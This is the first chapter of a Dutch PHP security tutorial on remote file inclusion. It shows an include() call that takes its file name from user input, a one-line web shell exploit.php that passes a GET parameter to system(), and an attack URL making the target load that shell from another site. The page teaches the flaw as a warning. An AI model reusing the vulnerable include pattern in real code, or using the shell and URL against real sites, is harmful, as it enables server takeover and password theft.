Include(): het 'lek'

include() in php is voornamelijk bedoeld om andere php code te laden (functies/classes en dergelijke). Ook wordt het veel op deze manier gebruikt:

Een phpfile fout.php met:

Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
<?
include($_GET["naam"] . ".html");
?>


Wordt aangeroepen met:
http://www.jouwsite.nl/fout.php?naam=http://www.mijnsite.com/exploit.php?commando=ls

waarin exploit.php

Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
<?
system($_GET["commando"]);
?>


!OF WAT VOOR PHP CODE DAN OOK! bevat. Hierdoor geef je een willekeurige hacker volledige toegang tot php.. vervolgens kunnen je mysql wachtwoorden uitgelezen worden, en je homedir uitgeplozen (eventuele backups opgezocht die je nog in je homedir hebt staan, etc. etc.)

Het voornaamste probleem zit hem in php met de ondersteuning voor het ophalen van bestanden van andere servers. Dit erg makkelijk: je hoeft alleen een url op te geven. Hierdoor kan je alleen ook include() gebruiken om andere bestanden dan je bedoeld hebt te includen. Deze controle geef je aan de gebruiker - et voila: een veiligheidslek.

« Lees de omschrijving en reacties

Inhoudsopgave

  1. Include(): het 'lek'
  2. Oplossingen

PHP tutorial opties

 
 

Om de gebruiksvriendelijkheid van onze website en diensten te optimaliseren maken wij gebruik van cookies. Deze cookies gebruiken wij voor functionaliteiten, analytische gegevens en marketing doeleinden. U vindt meer informatie in onze privacy statement.